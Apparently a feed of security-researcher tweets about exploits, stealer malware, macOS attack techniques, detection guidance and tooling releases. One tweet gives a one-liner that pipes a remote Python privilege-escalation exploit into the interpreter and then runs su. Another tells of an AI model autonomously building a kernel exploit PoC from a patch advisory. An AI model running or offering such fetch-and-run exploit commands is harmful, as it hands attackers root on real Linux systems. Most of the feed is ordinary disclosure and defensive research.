Shit coffee drinker

Wacao made

[MatheuZ @MatheuzSecurity]

Linux Kaspersky 0day: unloading LKMs directly from userspace.

Kaspersky rejected my report, so I'll be publishing the full technical write-up soon

#Linux #Kernel #0day #VulnerabilityResearch

[Ali Aqeel @aaqeel87]

Added static extractor for #751stealer

loader, compress/pack a Dll file that decompress on runtime
https://t.co/K1iiIb6Jfy
Dll, unpacked manually
https://t.co/eFyVwyQpa7
injector, it's different build than the loader
https://t.co/5qoDExB6Oe

[Unit 42 @Unit42_Intel]

2026-05-26 (Tuesday): Another page impersonating Claude was used to push #SHubStealer when viewed on a macOS host. Details at https://t.co/WcaIiQCdd6

[Billy Ellis @bellis1000]

Uncovering an iOS 26.5 ImageIO Vulnerability https://t.co/fOUbgFkTqs

[GitHub Projects Community @GithubProjects]

An open-source iPhone manager that gives you full control over your device without subscriptions or iCloud lock-in.

Browse backups, export messages, manage files, inspect diagnostics, and transfer data locally with native SwiftUI tooling.

Explore more: https://t.co/n8LP08k4IM

[nu1lptr @_4bhishek]

CVE-2025-21333: poc
https://t.co/wTkxdKT2Yt
(Integer truncation in vkrnlintvps.sys)
Rewrote this exploit which is less sketchy as it doesn't open windows sandbox and little bit more stable.

[𝚔𝚒𝚖𝚖𝚢.𝚣𝚒𝚙 🅅 👊🇺🇸🔥 @kimmydotzip]

Why Copy Fail in 732 bytes, when you can Kopy Fail in 685 bytes?

https://t.co/2IsRXDhzAe

curl https://t.co/mNtleIStYK | python3 && su

[Virus Bulletin @virusbtn]

A look back at the first Virus Bulletin International Conference in 1991. 🌍

These archive photos, together with Ed Wilding’s original event round-up, offer a glimpse into the early days of the VB community.

Read Ed Wilding’s 1991 round-up here:
https://t.co/Q3NtlREyKD

[DFIR Radar @DFIR_Radar]

Cisco Talos research exposes LOOBins (Living Off the Orchard): attackers weaponizing native macOS automation features for execution and lateral movement. 45% of enterprises now use macOS, yet detection for these techniques lags significantly behind Windows coverage.

Key findings:
• Remote Application Scripting via eppc:// protocol enables command execution through https://t.co/jYOJ6l12e1 proxy, bypassing standard process spawning detection (T1072)
• Spotlight metadata (kMDItemFinderComment) can store Base64 payloads entirely in extended attributes, evading file-based scanning
• Native tools like osascript, nscurl, and TFTP/SNMP services enable complete attack chains without custom binaries
• Techniques abuse legitimate DevOps automation features that security teams rarely monitor

Detection gaps:
• Process lineage: launchd → AppleEventsD → Terminal → bash indicates Remote Application Scripting abuse
• Network: Inbound TCP/3031 (eppc) traffic should be rare on most enterprise networks
• Metadata: Monitor mdls queries for kMDItemFinderComment attribute access patterns

Hunt for unusual parent-child relationships involving https://t.co/GPzggXUSIi with network activity, and implement TCC automation restrictions via MDM.

#DFIR_Radar

[Brian Pak @brian_pak]

Time to talk about this one.

CopyFail (CVE-2026-31431) — a 732-byte Python script that roots every Linux distro shipped since 2017. 🧵

[GreyNoise @GreyNoiseIO]

Introducing Project Swarm: a research initiative to defend the network edge and we're inviting you to join. Deploy a sensor on your infrastructure, capture real attacker traffic + compare what's hitting you to the GreyNoise global baseline. Join today! 🐝

[Johnk3r @johnk3r]

#Hunting some interesting samples — no confirmed TA attribution yet, but the infra is worth tracking.

- Rust agent: signed by 'PACN TECNOLOGIA E SOFTWARE LTDA'
- Go agent: lekrmmagent → machinesdelek[.]com
- C2: mnks[.]digital (#claudermm-server-1 v0.1.0 - wt?)
- MSI: AssistenteEmpresarial / NF-e themed

#nexus_agent #Nexus Access V3

Anyone tracking something similar? #ThreatHunting

[jaybird1291 @jaybird1291]

I pushed v2.0 of my macOS Persistence Cheatsheet:
https://t.co/tNtFHiHKxS
It’s more than a cheatsheet now: 49 mechanisms, acquisition guidance, source-of-truth notes, collection/triage commands, triggers, review points, and clickable refs.

[malware Owl @malware_owl]

YaraXGUI Improvements

HexEditor, Yara Match Table to show all matches found. It supports more tab, yara formatting fixed as well. We can browse for rules and filter files that we want to scan this time. Hex editor is added with the goal to make it more hassle free.

Within the hexeditor, we can also apply changes, do basic diffing, mark multiple regions and send to YARA editor. Also included a way to select multiple regions and gaps within each regions can be set a wildcard so we do not need to calculate each size.

Can now do disassembly of selected region (capstone), draw basic CFG to do quick checks (maybe for certain obfuscation technique or unique code blocks). Simple parsing for PE and ELF file.

Added a wonky and (not-so-reliable) autocomplete (NOT based off parser) but good enough I guess for my workflow).

To try the new version: https://t.co/hrTWvxatgY

[Howard Oakley, Eclectic Light Co @howardnoakley]

The secret life of the xattr https://t.co/dN31aIzTqJ via @howardnoakley

[Oliver Prompts @oliviscusAI]

Someone open-sourced an Android emulator that runs in Docker.

It's called docker-android. One docker command spins up a complete Android device with ADB port-forwarding, KVM, and GPU acceleration.. fully headless and CI-ready.

100% Open Source.

[Chris Laub @ChrisLaubAI]

A Rust dev just killed Headless Chrome.

It's called Obscura. The open-source headless browser purpose-built for AI agents and scrapers at scale.

Chrome vs Obscura:

- Memory: 200MB+ → 30MB
- Binary: 300MB+ → 70MB
- Page load: 500ms → 85ms
- Startup: 2s → Instant
- Anti-detect: None → Built-in

Single binary. No Node, no Chrome, no dependencies.

Stealth mode is brutal:

→ Per-session fingerprint randomization (GPU, canvas, audio, battery)
→ 3,520 tracker domains blocked by default
→ navigator.webdriver masked to match real Chrome
→ Native function masking so detectors can't sniff it out

Drop-in replacement for Puppeteer and Playwright over CDP. Zero code changes.

If you run agents or serious scraping at scale, this repo prints money.

100% Opensource.

[thaidn @XorNinja]

MAD Bugs: RCE in Ladybird

Blog: https://t.co/NNpFMo57LR

PoC: https://t.co/lxd1xplXSy

[thaidn @XorNinja]

New MAD Bugs drop: we had Claude reverse Apple's macOS 26.4 SMB patch end-to-end and build a kernel PoC from just the advisory. CVE-2026-28825, heap OOB in smbfs.kext, reachable by clicking on any smb:// link in Finder, Safari, or Messages.

Root cause is a missing bounds check on an attacker-controlled compress length. The fun part is in Apple's own source: the check was there. A developer wrapped it in #if 0 because Windows Server kept tripping it, left a comment about it, and shipped.

The entire reversing, root-cause analysis, and PoC build was driven autonomously by Claude. We handed it the advisory URL and came back to a working panic.

It even blamed Microsoft for everything.

Full writeup: https://t.co/mlKG3e8icn

[Ryan Dowd @_rdowd]

Found a macOS TOCTOU bug while reviewing Apple EDR integrations at @HuntressLabs.
A non-admin user can delete TCC-protected content by hitting the right timing window. Came up unexpectedly during the review, which made it a fun one.